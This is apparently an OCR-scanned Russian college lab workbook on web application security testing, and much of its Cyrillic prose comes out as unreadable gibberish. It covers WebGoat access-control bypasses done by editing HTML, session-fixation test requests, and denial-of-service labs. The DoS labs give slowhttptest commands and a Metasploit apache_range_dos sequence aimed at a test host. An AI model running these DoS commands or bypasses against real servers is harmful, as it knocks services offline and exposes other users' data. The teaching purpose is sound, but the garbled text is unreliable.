st 9TOTO ClleyeT BBECTHM HECYIIECTBYIOIIEE MM TOjb3oBarens (Hampumep, qawsedrf1234) u
MIPOU3BOJIBHBIN Mapojib, a 3aT€M KM Cy- UIECTBYIOUIEIO I0Jb30BaTENsl W IPOU3BOJIBHBIA, HO
HEMpPaBWIbHBIN Ma- poib. B 000X ciyyasx MOMHKHO ObITH BBIBEJAEHO OJHO U TO K€ CO00- mieHue oo
ommuoOke Buaa «Ommbka B UMEHHU IOJIB30BATENs WM HEBEp- HBIM maposby. Takke o6a HTTP-orBera
JOJDKHBI COBMAJIaTh C TOYHO- CTHIO JI0 U3MEHSEMBIX IMapaMeTpOB U ObITh MOIYYEHBI 32 OJTHO U TO KeE
BpeMsi. B mpoTuBHOM ciyuyae BeO-NPUIIOKEHUE HMMEET CKPBITHIA KaHall (OpaKys), MO3BOJSIOLIUI
UICHTU(QUIIMPOBATH €T0 MOJIb30BATENEH.

ar 6. [TpoBepuTh BO3MOXKHOCTh pealin3alluy aTaku Mojdopa ma- poiis mojiab3oBarens. Beectu ums
noJyib3oBarensi. BBecTu HecKoNbKO pa3 HempaBwibHBIM maposb (5 — 10 pa3). Ilocie storo BBecTH
MPABUIIbHBIN
[apoJib JUIs 3TOW y4eTHO! 3anucu. BBeCcTH OMHAKOBBINA Maposib Ul pa3HbIX YUETHBIX 3amucedt (Juist 5
—10).

[IpoBepuTh BO3MOXKHOCTH JOCTyHa K BeO-IpUJIOXKEHHIO. bIOKMpo- BaHME YYETHBIX 3amuceit
II0JIB30BATENS MTOCIIE HECKOIBKUX HEYAAUHBIX MOMNBITOK BXOJA CO3/1a€T yCIOBUE I peann3anuu DoS-

aTaKh M HC JOJIDKHO HMCIIOJIB30BATHCA B MCXaHHM3MaXxX 3alllMTbl OT aTak HOH60pa na- pOJ'ICI\/'I. Bwmecto
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3TOr0 HEOOXOJUMO HCHOJIH30BATh BO3PACTAIOIIME BpE- MEHHBIC 33JC€PKKU WM CpEJCTBA AHTH-
aBromaruzanuu (Hanpumep, CAPTCHA).

Hlar 7. IlpoBeputb, YTO UYBCTBUTENIbHBII KOHTEHT (HAalpUMEp, CTPAHMULIBI C BBEIECHHBIMU
HOMEpaMHM KPEeIUTHBIX KapT, CYETOB, aJpe- COB) HE JOCTYyNeH yepe3 Mexanu3Mm History Be6-Opaysepa, a
TaKKe HE KdIUpyercs uM. BoWTH 1O yYETHOHM 3alMChIO IOJIB30BATENsA, NEPEHTH Ha CTPAHUIy C
YyBCTBUTEJbHBIM KOHTEHTOM. BBecTu HOBbIe aaHHble. BpliiTu u3 npunoxenus. HaxaTb KHOIKY
«Back». Ilomp3oBaTens HE JODKEH HWMETh BO3MOKHOCTH BBINIOJHATH HOBBIE 3ampochl (TIpU Kop-
PEKTHOM peanu3aluu yrpaBieHus ceccusiMu). Eciau mpu 3TOM M0sib30- BaTeato AOCTYNHBI paHeEe
3anpamvBaeMble CTpaHUIIbl, TO 3TO O3HAYAET, YTO CEpBEpHAs YacTh BEO-NIPUIJIOKEHHUS HE 3arpeTuiia
Be0-Opay3epy COXpaHsTh JaHHbIE B UCTOPUU.

3anpenienue K3mupoBanus onpenensercss Hannuuem HTTP- 3aronoskoB Pragma, Cache-Control u

Expires co cienyromum peko- MEHI0OBaHHBIMU 3HAUEHUSAMU:

Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Expires: -1

[ar 8. 3amycTuth BeO-npunoxxenrne WebGoat. BBectu jnorun:
«guesty, apojb: «guesty.

[Teperituniocceike  «Access Control Flaws — Bypass a Path Based Access Controly.
W3yunThycaoBUsA3a1auu. Hc- noJs3ysFireBug (narmr000aHaIOTMYHBIHHHCTPYMEHT),
u3MenuTh3HaucHue AccessControlMatrix.html ua ../../main.jsp. Haxarbekaonky «View Filey.

ITeperitunioccrike «LAB: Role Based Access Control — Stage 1». M3yuuth yciaoBus 3amayu.
Boiitn mon monws3zoBareneM Tom (maposis: Tom). MoXHO BHACTH, YTO OT TOJB30BATENII CKpbITA
KHOIIKa
«DeleteProfile», Tak kak OH He JOHKEH MMETh BO3MOXXHOCTH YJa- JIATh y4eTHble 3amucu. Haxatb
kHonky «ViewProfilen. B BurpSuite npocmotpets 3anpoc. Ucnonssys FireBug (unm nroboit anano-

TUYHBIN HHCTPYMEHT), u3MeHuth HTML-pa3meTy, 3aMeHHB 371€eMeHT

<input type="submit" value="ViewProfile" name="action">
Had3JIECMCHT
<input type="submit" value="DeleteProfile" name="action">
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Haxarp knomky «DeleteProfile». IIpocmotpers ornpaiensnsiii 3ampoc B BurpSuite. IIpodwis
noJb30BaTens OyIeT yaaieH.

OnmuonansHo pemuth 3a1aqy «LAB: RoleBasedAccessControl — Stage 2».

[Mepeiitunoccrinke «LAB: Role Based Access Control — Stage 3». W3yunth ycnoBusl 3amadu.
Boiitu mon monezoBatenem Tom (maposs: Tom). Haxate xHOnKy «ViewProfile». B BurpSuitenpo-
CMOTpETh 3ampoc. MOXHO BHJIETh, YTO TIIOJB30BATENI0 JIOCTYIHBI JaH- HBIE CBOETO TNPOQuUIIs.

Ucnons3ys FireBug (wmm nro6oit ananormyHelii mHCTpyMeHT), m3MeHuTs HTML-pa3mery, 3aMeHuB

3JIEMECHT

<option value="105" selected="">Tom Cat (employee)</option>
Ha’JIEMCHT

<option value="103" selected="">Tom Cat (employee)</option>

Haxarp kHomky «ViewProfile». Ilpocmorpers otnpaBieHHbiii 3ampoc B BurpSuite. byayr
BBIBEJICHBI JaHHbIe npoduid nonb3oBarens CurlyStooge.

OmmuonansHo permuth 3amaqy «LAB: RoleBasedAccessControl — Stage 4».

[Mepesitumocceuike «Remote admin access». MayuutbycnoBuszagauu. [IpocMOTPETHIIOAMEHO
«AdminFunctionsy. [epetitunoccouikeWebGoat/attack?Screen=86&menu=200&admin=true.
[Tpocmotpets moamento « AdminFunctionsy.

Bonpocek! u 3aganus

1. M3yunth peKOMEHJAIMN K 3allMIICHHONW pealu3alii MeXaHH3Ma XpaHEeHHs MapoJieil.
HccnenoBath MeXxaHU3M BOCCTaHOBIICHHS MapoJiel BBIOpaHHOIOBEO-TIPUIIOKEHUSI.

2. HccnenoBaTh MUHUMAJIBHO JOMYCTUMYIO JJIMHY U CIIO)KHOCTh MapoJield B MPOU3BOJIBHBIX IISITH
BeO-nipmitoxeHusx u3 peituara ALEXA TOP100.

3. HccnenoBarh HalM4Me OpaKyJioB B MEXaHH3MaX ayTeHTHU(HKA- I[UU MPOU3BOJIBHBIX ISITH BEO-

npuinoxxenusix u3 perituara ALEXA TOP 100.

2 3ananne

Ceccus BeO-mpuitokeHUsT — 3T0 nocienoBaTenbHocTs HTTP- 3anpocoB M COOTBETCTBYIOUIMX UM
HTTP-oTBeTOB, accoMMpPOBAHHBIX C KOHKpETHBIM Ioib3oBareneM. [Iporokon HTTP ne wnmeer
BCTPOCHHBIX MEXaHU3MOB YIpaBJIeHUs ceccusMu (statelessprotocol) 1 moaToMy MeXaHU3M YIIpaBIEHUS
CecCUsIMH pealM3yeTcsl JIOTUKOM BeO- mnpuioxeHus. Kak MHHHMYM, ceccus coO3Jaercss Npu

yCHeHIHOI‘/’IayTCHTI/I(I)I/IKaI_II/II/I IIOJIB30BATCJIA B Be6-1'IpI/I.IIO)KGHI/II/I. HpI/I 9TOM T'CHCPUPYCTCA yHHKaJIBHBIfI
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uneHTuGUKATOp (TOKCH) CECCUU, aCCOLIMUPOBAHHBIN C ATHM TOJb30BaTeNeM. JJaHHBINA HUACHTH(PUKATOP
nepenaercs B kaxaom HTTP-3ampoce u sBisieTcs aHAaIoroM mapoJjsi MOJIb30BaTeNs, TaK Kak JII0OOH
HTTP-3ampoc, cogepxkamuii Takol uaeHTUPUKATOP, OyAeT BOCIPUHSIT BEO-TIPUIOKEHUEM KaK 3arpoc
OT JIESTUTUMHOTO TI0JIb30BATESI.

Kak nipaBwiio, uneHTHGUKATOpP CeCCHU mepeaaercs B 3aronoBkax Cookie cpencrtBamu BeO-Opaysepa,
pexe B creruanbHbix HTTP- 3aronoBkax (Hampumep, X-Auth-Token) cpeactBamu AJAX. Ilepenaua
uneatudukaropa ceccun B URL sBnsieTcs HamMeHee 3alUINCHHON W B HACTOSIIEEe BPEeMsl, Kak
MPaBUJIIO, HE IPUMEHSETCSL.

[IpuBeneM ocHOBHBIE TpeOOBaHUSI OE30MACHOCTH K peau3alli MEXaHU3Ma yIPABICHUS CECCHSIMU
[8]:

— HWMS CECCHOHHOrO HJeHTHU(UKATOpa HE J[OJDKHO TO3BOJSATH JIETKO HWACHTH(UIIMPOBATH BEO-
npunoxenue (Harnpumep, PHPSESSID, ASP.NET Sessionld,JSESSIONID);

— JIJTMHA CECCHOHHOTO MICHTU(HUKATOPA TOJDKHA OBITh HE MeHee 128 OuT;

— DHTPOMHS CECCHOHHOTO HACHTH(UKATOPA TOJDKHA OBITh HE MeHee 64 OuT;

— mepegavya CECCHOHHOTO HWJIeHTH(HKATOpa JOKHA OCYHIECTBIATHCA B 3arosoBkax Cookie ¢
¢dnaramu HttpOnly, Secure u BeicTaBieH- HbIM aTpuOyToMDomain;

— TOCJe W3MEHEHMsI COCTOSIHHS TOJh30BaTeNs (BXOJ B BeO- MPHIIOKEHWE, CMEHa IMapoJisi, CMEHa
poJiu, UCTEeYeHHE TaliMayTa He-aKTUBHOCTHU U T.J.), KDUTHYHOTO C TOYKH 3pEHUS MOJUTUKU Oe3-
OIACHOCTH, JTOJI’KEH CO3/1aBaThCsl HOBBIM MIEHTU(HUKATOP CECCUU, & CTApbIil —aHHYJINPOBATHCS;

— mocne usMmeHenus: nporokoiga HTTP wa HTTPS gomkeH co3maBaTh- ¢ HOBBIA HMIACHTHU(UKATOP
CECCHH, a CTapblil —aHHYJIUPOBATHCS;

— aHHYJIMPOBAHHE CECCHOHHOI0 HJIHTHU(HUKATOpa JOJKHO ObITh pea- JTM30BaHO KaK Ha KIUEHTE, TaK
U HacepBepe;

— JOJDKHBI OBITh pealn30BaHbl TalMayT HEaKTHMBHOCTH, aOCOJIOTHBIA TailMayT u TaiimayT
OOHOBJICHUS CECCHMOHHOTOMICHTU(UKATOPA.

Brigensitor cienyromye OCHOBHbIE aTaKi HA MEXaHU3Mbl YIIPABICHUS CECCUSIMMU:

— (ukcanusceccuu;

— moa00p UACHTU(PUKATOPACECCHH;

— MepexBaT UIACHTU(PHUKATOPACECCUU;

— Kpaxa UJIeHTU(HUKATOPACECCHH.

[Tonydenue uaeHTUPUKaTOpPa CECCUU TOTB30BATEINS TPUBOIUT, KaK MPABUIIO, K MOIYICHHUIO
3II0YMBIIIJIEHHIKOM BCEX MpaB MOJIb30BaTeIsl.

IMocsienoBaTe/IbHOCTD AeHCTBUI
lar 1. Hactpouts paboty Opay3epa depe3 IMITaTHBIA MpoKcH- cepBep BurpSuite. B Be6G-Opaysepe

OTKPBITh TJIABHYIO CTpaHHUIy TECTHPYEeMOro BeO-mpuiioxkeHuss Www.test.app.com. IIpocMoTtpersb
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Cookie, ompenenutb, co31aeTcs JH CECCHsl M HEayTEHTU(UIIMPOBAHHBIX (AHOHUMHBIX)
[I0JIb30BATEIEH.

Hlar 2. BBectu KOppeKTHblE JOTHH M maposib. Ompenenuts, 4TO HCHOIB3YEeTCSs B KaueCTBE
TpaHCHOPTa IS Iepeayn uaeHTuuKaTopa ceccun. Ecnmu st aToro ucnons3yercst mexanusm Cookie,
TO omnpenenuTh nMeHa cookie, ux arpudytsl (Secure, HttpOnly, Domain, Path, Expires) u 3nauenus.
[Ipoananu3upoBaTh aACKBAaTHOCTH UCIOJIB3YeMBIX aTpudyToB Cookie.

Hlar 3. IIpoananu3upoBaTh UMsI HIECHTH(DHUKATOpPA CECCHH, €T0 CTPYKTYPY U 3HAYCHUE, ONPEACTIHUTD,
UCTOJB3YETCsl JIW KOAMPOBAHHE WM HIM(pPOBaHME NaHHBIX. VICIonmp3ysh MHCTpyMEHT Sequencer B
BurpSuite, MIPOaHATN3UPOBATH BEPOSITHOCTHEIE XapaKTePUCTHKH MOCJIeI0BATEIIEHOCTH
UACHTUPHUKATOPOB ceccuil. Crenmars BBIBOA O COOTBETCTBHM peaNM3alUU (YHKIUH T'eHEpaIuu
uaeHTU(UKATOpOB TpeboBaHMsIM Oe3zornacHocTu. Chenath BBIBOJI O BO3MOKHOCTH HCIOJB30BAHMS
aTaky rpy0o0i CHITBI IS TeHEpalliy CECCHOHHOTO MICHTH()HUKATOPA TT0TH30BATEIS.

Hlar 4. IlpoBeputh aHHYJIUPYEMOCTh cecCMU Ha cepBepHOil cropoHe. Coxpanuth Cookie B BeO-
Opay3zepe  (MOXHOHUCIIONB30BaTh  pacimmpenne  ExportCookies), BbIUTH W3  NPHIOKEHWUS.
WmnoptupoBats coxpaneHHsle paHee Cookie B Opayszep (MOXHO WCIIOJNB30BaTh pacUIMpEHHE
ImportCookies). IlepeitTu o m0b60oMy aapecy BeO-TipriiokeHus. Eciu BBl monazeTe B MPeablIyIyio
CECCHIO, TO ATO O3HAYAeT, YTO aHHYJIUPOBAHHWE CECCHUU TPOHUCXOIMUT TOJIBKO Ha KiHeHTe. [IpoBepuTs,
YTO IOJIb30BATENh MOXKET 3aBEPUINTH CBOIO CECCHIO B JIIOOOW MOMEHT BPEMEHU — KakJas CTpaHMIIA,
JOCTYTHAsI 1OCJe ayTeHTU(UKAIMK, CONEPKUT CCHUIKY THUIMa «Signout», MO3BOJSIONIYI0 3aBEPUIUThH
ceccuto. [IpoBepuTh, Kakue MEXaHU3Mbl TAaliMayTOB peaIln30BaHbl BBEO-TIPUIIOKEHUH.

[IIar 5. [TpoBepUTh BO3MOKHOCTh BBITIOJIHEHUS aTaKu TUIIA
«®Dukcanus ceccuny». s 3TOro mpoBEpUTh HAIMYKME CIEAYIOUIEr0 HEJAOCTaTKa: BEO-TPUIIOKEHUE HE
OOHOBJISIET CECCUOHHBIN UACHTU(PUKATOP, OTIPABICHHBII Opay3epoM MOJIb30BaTENsl, TOCTE YCIEIIHOM
ayreHTU(UKauuu mnocienHero. OTOpaBUTH 3alpoc BeO- MPHIOKEHHUIO U TOJYYUTh CECCHOHHBIM

unentuduxarop B Cookie:

GET /HTTP/1.1
Host: www.test.app.com
\r\n

HOJ'Iy‘H/ITb 1 IPpOaHaJIN3UpPOBATH OTBCT

HTTP/1.1 200 OK
Date: Wed, 14 Aug 2008 08:45:11 GMT

Server: IBM_HTTP_Server
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Set-Cookie: ID=d8eyYq3L0z2fgql0m4v; Path=/; secure

AyTeHTH(PHUIUPOBATHCS, UCIOIB3YA 3aIPOC C MOTYYEHHBIM UieH- Tu(ukatopom ID:

POST https://www.test.app.com/auth HTTP/1.1 Host: www.test.app.com
Cookie: ID=d8eyYq3L0z2fgql0m4v
\r\n user=test&password=2z123456
Ecmu ayrenTudukanus npomuia ycuemnHo, To NPIWIOKEHHE YSI3BUMO K
aTake (pUKcaIuu CeCCUu.
JlononHuTENbHO YOEAUThCSA, YTO MJEHTHUUKaTOp ceccuu mnepenaercss Toibko B Cookie u He
packpeIiBaeTcs B Jior-(aiinax, coodmenusx 06 ommokax, URL u T.1.
[ar 7. IlpoBeputh, YTO HACHTUPHUKATOP CECCHU MEHSETCS TOCIE MOBTOPHOW ayTeHTH(DUKAIUH,
CMEHBI MapoJIsi, PO U T.1.
Har 8. [IpoBepuTh, yTO BEO-NPUIIOKEHHE HE TO3BOJSET MUMETh JBE OJMHAKOBBIE CECCHU C JIBYX

Pa3HbIX y3JI0B CETH.

Bomnpocek! u 3a1anus

1. IlpemioxuTh cueHapuil aTaku, UCHOJIb3YIONIMI HEIOCTaTOK aH- HYJUPOBAHUSA CECCUU TOJIBKO
Ha KJIMEHTCKOW CTOPOHE BEO- MPUIIOKECHHUS.

2. Ucnonw3ys mouckoBbie cucteMbl (Google, Shodan), HaiiT BeO- MpUIIOKEHUS ¢ MEXaHU3MOM
URLRewriting.

3. Hammcarp cuenapuii JavaScript, ycTaHaBIMBAIOIIMK WM CUWTHI- BArONIUN HISHTH(PHKATOD

CECCHUUIIOTIB30BATCIIA.

dopma npeacTaBjieHusi pe3yjabTara:
[IpenocTaBUTh CKPUIIT 3aTaHUMA

Kpurepum oueHku:

Ornenka "5" ctaBUTCS: BCs pab0OTa BBIMTOJIHEHA 0€301ITMO0YHO M HET UCTIPABIICHHUIA;
Onenka "4" ctaBUTCS: AOMYIIEHBI 1-2 BEIYUCIUTENbHBIE OMIUOKH.
Omnenka "3" craBUTCS: TOMYIIEHBI OMIMOKU B XO/I€ peUIeHUS 3a7aud IPHU MPABUIHHOM BBITIOTHEHUH

BCEX OCTaJIbHBIX 3aJlaHUM WU AONYIICHBI 3-4 BBIYHCIMTCILHEIC OI_HI/I6KI/I, IIpu 5TOM XOI aHaJIn3a

JOJIDKCH OBITh BCPHBIM.

Onenka "2" craBUTCS: JONYILIEHbl OIIMOKM B XOJ€ pELIeHHs 3aJadyd U XOTs Obl oJHa
BBIUMCIIUTENbHAS OIIMOKAa WJIM TNpH aHAIW3e M IPUMEpPOB JOMYHICHO Oojee 5 BBIYMCIMTEIBHBIX

OLINOOK.
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MJIK 09.03 OBECIIEYEHHME BE30ITACHOCTU BEB-TTPUJIOXKEHMIA
Tema 3.1 Texnonorun obecneueHus: 0€30MaCHOCTH BEO — MPHUIIOKESHUN

JlaboparopHoe 3aHsTHE No 2
«TecTupoBaHne HA YCTOHYMBOCTh K aTaKaM 0TKa3a B 00CIY:KUBAHHI

Hean padoTsl
Lenpro nmabopaTopHOl pabOTHI sBISETCS OOyYeHUE METOJAaM W CPEIICTBAM TECTHPOBAHUS BeO-

MIPUJIOKEHUH HA YCTOMYMBOCTh K aTakaM OTKa3a B oOciyxuBaHuu(DoS-aTakam).

Boinosinus padorty, Bel Oyaere:
ymembv:

V35, ocymiecTBISTh ayJUT 0€30MaCHOCTH BEO-TIPUIIOKEHUI;

VY01.2 ananu3upoBaTh 3aa4y W/ WK IPOOJIEMY U BBIJEIATH €€ COCTaBHBIC YaCTH;

¥02.4 cTpykTypHupoBaTh MOIy4aeMyto HH(OPMALHUIO;

VY03.2 npuMeHsITh COBPEMEHHYIO HayuHYI0 MPO(GECCHOHATbHYIO TEPMUHOJIOTHIO;

Y09.1 mpumeHsTh cpeacTBa HHGOPMAITMOHHBIX TEXHOJIOTUH JJI perieHus Tpo(ecCHOHATbHBIX
3a/1a4;

¥ 09.2 ucnonp30BaTh COBPEMEHHOE MPOTPAMMHOE 00eCIIeueHune;

MarepuajibHoe o0ecnieyeHue:

[TK,TexcToBbIil penaktop biokHOT,Opay3ep

3aganue:
BbBIMOTHUTE  TECTUPOBAaHUE YCTOWYMBOCTH BeO-pUIIOKEHHAWWW.test.app.comk DoS-atakam Ha

ypoBHe nporokona HTTP

Kparkue TeopeTnueckue cBe1eHHs

Lenbto peanuzauuu DoS-ataku sBisieTcss HapylIeHUE AOCTYIMHOCTH BEO-IPUIOKEHUA. DTO MOXKET
OBITh HOCTUTHYTO MyTeM DoS-aTaku Ha KaHal CBsI3U, MPOrpaMMHYIO Iu1atopmy BeO-cepBepa WiIK Ha
caMo BeO-TIPUIIOKCHUE.

Tpamuimonno DoS-aTaku sSBISIIOTCSA CETEBBIMU (MCTHOIB3YIOT HEAOCTATKH CETEBBIX TEXHOJOTHUM) U
MOTYT OBbITh KJaccuuiupoBanbl 1o ypoHsaM mojenu [ISO/OSI. Hanpumep, araku ICMP Flood (L3) u
DNS/NTP Amplification (L7) mpuBoasr k oTka3y kaHanma cBsizu, a araku PingofDeath (L3), SYN
Flood (L4), SSL RenegotiationDoS
(L5/L6), HTTP Flood (L7), Slow HTTP (L7) Bo3aeiictByroT Ha miuaTdopMy BeO-TPUIOKEHUS

(omepanmoHHas cucreMa, BeO-cepBep, HpIMBOPK U T.11.).
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JUid JOCTMXKEHMsI OTKaza B OOCHY)KMBAaHMM C IIOMOLIbKO aTak MpHKIaaHoro yposHs (L7)
aTaKyIoIIeMy MOXKET MOTPeOOBaThCS CYIIECTBEHHO MEHbIIIEE KOJIMUECTBO pecypcoB. Hampumep, ecnu
s yenemHor peanusanus araku SYN Flood oma momkna ObITh pacmpeaeneHHoit (DDoS) u
MCIIOJIb30BaTh OOTHET, TO /I peanu3aiuu arak kiacca Slow HTTP DoS (Slowloris, Slow HTTP Post,
Slow HTTPRead) 00br4HO nOCTaTO4MHO OHOTO KoMIbroTepa [10 —13].

Bmecre ¢ Tem ans BeO-puilokeHMM Takke xapakrepHbl DoS-aTaku ypoBHS IpPUIIOKEHUS,
BO3MOJKHBIE M3-32 HAJIMYHS YS3BHUMOCTEW B ero koze [9]. Hampumep, BO3MOXHOCTD POBENICHHSI aTaKu
tuna SQL injection MOXeET IO3BOJIUTh 3J0YMBINUICHHUKY YIalUTh 0a3y MaHHBIX C YYETHBIMH
3aMUCsMU TIOJB30BaTeNIed WM BBIMOJHUTH 3ampoc Buaa selectbenchmark(100000000, now()) mms

M3PACXO/IOBAHMS PECYPCOB CUCTEMBI. Takke IpUMEpaMH aTak YPOBHS INPUIIOKEHHUsS SBISAIOTCS aTaky

XML BillionLaughs (XML Bomb), XML QuadraticBlowupAttack, ZIP ofDeath (ZIP Bomb).

IMocaenoBaTe/IbHOCTD IeHCTBUH
Mar 1.  VYcranoButs  mporpammy  slowhttptest,  goctynmayro mo  URL  Buga
https://code.google.com/p/slowhttptest. M3yuntes aokyMmeHTamuio. 3amyCTUTh CETEBOW aHAJIMU3aTOP
Wireshark.

[ar 2. Ha TectoBOM cTeHIe, SMYIUpPYIOIIeM paboTy BeO-cepBepa WWW.test.app.com, yCTaHOBUTH U
BBITIOJTHUTH 0a30BbIe HACTPOWKH aiisa BeO-cepBepoB Apache, Nginx u IIS. 3amyctuth BeO-cepBep
Apache.

[ar 3. 3amycTuTh B OTHOIIIEHUH BeO-cepBepa ataky Slowloris, mpocMOTPETh TPACCUPOBKY
COEMHEHMsI, POBEPUTH JOCTYITHOCTh BEO- cepBepa ¢ MOMOIIBIO TPOU3BOJILHOTO Opay3epa:

# slownhttptest -H -c 3000 -r 3000 -i 50 -1 6000

—U http://www.test.app.com

[IpoBecT HECKOJNBKO TECTOB C pazNu4HbIMH MapameTpamu. Iloctpouts rpaduku cocTosHus BeO-
cepBepa.
lar 4. 3anmyctuTh B oTHOIIEHUU BeO-cepBepa ataky Slow HTTP POST, npocMoTpeTs TpaccupoBKy

COCAUHCHMU, ITPOBCPUTH JOCTYITHOCTDb Be6-cepBepa C IIOMOIIBIO ITPOU3BOJIbHOI'O 6pay3epa:

# slowhttptest -B -c 3000 -r 3000 -i 50 -1 6000

—Uu http://www.test.app.com

HpOBeCTI/I HECKOJIBKO TECTOB C pPa3JIMYHBIMU ITapaMETpaMu. HOCTpOI/ITB Fpa(1)I/IKI/I COCTOSIHUS BEO-

cepBepa.
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Hlar 5. 3amyctuTh B OTHOWIEHMHM BeO-cepBepa ataky SlowRead, BbiOpaB aiinm nocTaTodHOrO
pasMepa, IPOCMOTPETh TPACCUPOBKY COCAMHEHUS, IIPOBEPUTH JOCTYIIHOCTH BeO-cepBepa ¢ MOMOIIBIO

MIPOU3BOJILHOTO Opay3epa:

# slownhttptest -X -¢ 3000 -r 3000 -I 6000 -k 5 -n50
-w 1 -y 2 -z 1 —uhttp://www.test.app.com/bigauth.js

[IpoBecTr HECKOIBKO TECTOB C pa3IMYHBIMU mapameTpamu. [loctpouTs rpaduku coctosHus BeO-
cepBepa.
[ar 6. OcranoButh cepep Apache. 3amycTuth cepep Nginx.
[Iponenate mpenplIyiye Maru B OTHOILIEHNH cepBepa NginX.
ar 7. OcranoBuTtk cepBep Nginx. 3amyctuts cepsep IIS. [Iponenars npenpiaymue maru B
oTHomeHuu ceppepa IIS.
lar 8. B otHomenuu cepsepa Apache Boinonnuth ataky ApacheRangeHeader. [Ipoananusupoats

PE3YIbTATHI. BremoaauTs KOMaHaoy

# slownhttptest -R -u http://www.test.app.com -t GET
-¢ 1000 -a 10 -b 3000 -r 500

Beimonauts araky ApacheRangeHeader ¢ ncnons3oBannem MetasploitFramework:
# msfconsole

> useauxiliary/dos/http/apache_range dos

> showoptions

> set RHOSTSwww.test.app.com

> set RPORT80

> set RLIMIT100

> set THREADS3

> run

Bonpocsl u 3axanns
1. Kak MOXHO 10 KOCBEHHBIM IPU3HAKaM OIpeeNIuTh YI3BUMOCTh B€O-cepBepa K aTakaM THIIa
Slow HTTPDoS?
2. Peanu3oBaTh MeXaHU3MBbI 3alIUTHI Ui BeO-cepBepa Apache ot atak Slow HTTPDoS.

3. Peanu3oBath U NpoTECTUPOBATH BEO-NIpUIIOKEHUE, YsA3BUMOe Kk aTake XMLBomb.
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dopma npeacTrasiieHus pe3yJbTara:
IIpenocTraBuTh CKpUIIT 3aJaHUN

Kpurtepuu onenku:
Omenka "5" cTaBuTcs: Besi paboTa BBINOIHEHA 0€30IIMO0YHO U HET UCTIPABJICHUH;

Omenka "4" cTaBUTCA: JOMYIIEHBI 1-2 BEIYUCIUTEIbHBIC OIMIHOKH.

Onenka "3" craBUTCS: TOMYLIEHBI OLIMOKU B XO/J€ PELICHUS 3a7jaui IPU PABUILHOM BBITIOJHEHUU
BCEX OCTAJIbHBIX 3aJaHUN WM JOMYIICHBI 3-4 BBIYMCIMTENbHBIC OMIMOKW, MPU STOM XOJ aHAIU3a

JOJDKEH OBITH BEPHBIM.

Onenka "2" craBUTCS: MOMYyIICHBI OMMOKM B XOJ€ PEIICHUS 3aJaud U XOTsa OBl OJlHa
BBIYUCIIUTENIbHAS OIIMOKA WJIM TIPU aHAIW3€ M MPUMEPOB JIOMYIIEHO Oojiee 5 BBIYUCIUTEIHHBIX

OILITUOOK.

23



MJIK 09.03 OBECIIEYEHHME BE30ITACHOCTU BEB-TTPUJIOXKEHMIA
Tema 3.1 Texnonorun obecneueHus: 0€30MaCHOCTH BEO — MPHUIIOKESHUN

JlaGopaTopHoe 3ansitue Ne 3
«Ilouck ysi3BuMocTeii Kk atakam XSS»

Hean padoTsl

Lenpto abopaTtopHOl pabOTHI ABISETCS OOy4YEHHE METOJaM M CPEACTBAM HICHTU(UKAIMH U
SKCIUTyaTaluH yA3BUMOCTEN BeO- MPUIIOKEHUH K aTakaM XSS

Boinosinus padorty, Bel Oyaere:

ymembv:

V35, ocymiecTBISTh ayJUT O€30MaCHOCTH BEO-TIPUIIOKEHUI;

VY01.2 ananu3upoBaTh 3aa4y W/ WK IPOOJIEMY U BBIJIEIATH €€ COCTaBHBIC YaCTH;

¥02.4 cTpyKkTypHupoBaTh MOIY4aeMyt0 HH(OPMALHUIO;

VY03.2 npuMeHsITh COBPEMEHHYIO HayuHYI0 MPO(GECCHOHATbHYIO TEPMUHOJIOTHIO;

Y09.1 mpumensTh cpeacTBa HHGOPMAITMOHHBIX TEXHOJIOTHUN TSI pelieHus MPOGECCHOHATBHBIX
3a/1a4;

¥ 09.2 ucnonp30BaTh COBPEMEHHOE MPOTPAMMHOE 00eCIIeueHuE;

MarepuajibHoe o0ecnieyeHue:

[TK,TexcToBbIi penaktop biokHOT,O0pay3ep

3aganue:

BrInmoaHUTE HACHTHU(GUKAIIMIO U AKCIUTYaTalMI0 YSI3BUMOCTEH K aTrakaM XSS

KpaTkue Teopernueckue cBegeHHs

Ataka Cross-SiteScripting (XSS) — 510 aTaka Ha BeO-IIPHIOKEHHE, HUCIOJB3YIOMAs HEIO0CTATKH
HEeMpaBWIbHON 00pa0OTKH JaHHBIX U MO3BOJISIIOIIAS BBHITIOTHUTH IPOU3BOJIBHBIN clieHapuit (JavaScript,
VBScript) B KOHTEKCTE UCTOYHUKA (Origin) ySI3BUMOTO BeO- IPUITOKEHUSI.

Ataku XSS kmaccupuUUIUpYOTCS MO BEKTOPY U crocoly BosaedcTBusa. [lo BekTopy Bo3aelicTBUS
ataku XSS ObBatoT otpakeHHbiMH (reflected), ycroitumBbiMEU (persistent) U OCHOBaHHBIMU Ha
o0bekTHOM Mozaenu nokymeHTa (DOM-based). Ilo BekTopy araku XSS nensiTcss Ha aKTUBHbBIE U
MACCUBHBIE.

YcroiiunBas ataka XSS — 310 XSS aTaka, B pe3ysbTaTeé KOTOPOW BBEIEHHBINA 3JI0YMBIIIJICHHUKOM
KOJI COXpaHsieTcs Ha BeO-cepBepe M BO3BpAIllaeTCsl MOJb30BATENI0 B 3apOCe HE COJIepKalleM BEKTOp

aTaKH.
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OTtpaxennas ataka XSS — XSS araka, B pe3ysibTare KOTOPOil KO/, BBEICHHBIN 3JI0yMBIIIJICHHUKOM,
repeaaeTcs MoJb30BaTeINI0 B OTBETE Ha TOT K€ 3aMpoc, B KOTOPOM IepeAaH BEKTOP aTaku.

Ataka XSS, naseiBacTcs DOM-based, ecnm koA 370yMBIIUICHHUKA MOXET OBITh BBITIONHEH B
Opay3epe moJib3oBarens 6e3 OTIPABKU 3ampoca Ha cepBep BEO-TIPHUIIOKEHUS.

B pesynbraTe ycnemnoi peanuzanuu ataku XSS 3J0YMBIIIIEHHUK MOXET BBIMOJIHUTH, HAIPUMED,
CHEAYIOUIUE TEHCTBUA:

— TEpEeHaNpaBUTh MOJIH30BATENS HA JTHOO0MBEO-CANT;

— TMOJIYYHTh ayTCHTU(UKAIIMOHHBIC JaHHBIE TTOIh30BaTeNs, Tiepeaa- omuecs BCookie;

— TOJYYUTH JIFOOBIE TaHHBIE, K KOTOPHIM UMEET JOCTYI KIIMEHTCKas YacThbBEO-TIPUIIOKEHUS;
— TOJYYUTh JIOCTYI K BHYTPEHHEHW CETUIIOIh30BaTEIIS;

— BeImonHUTh Deface Be6-caiita ut. .

B oOmeMupoBoi mMpakTHKe TECTUPOBAHUSA 3aUIUIIEHHOCTH BeO- TMPUIOKEHHH B KayecTBE
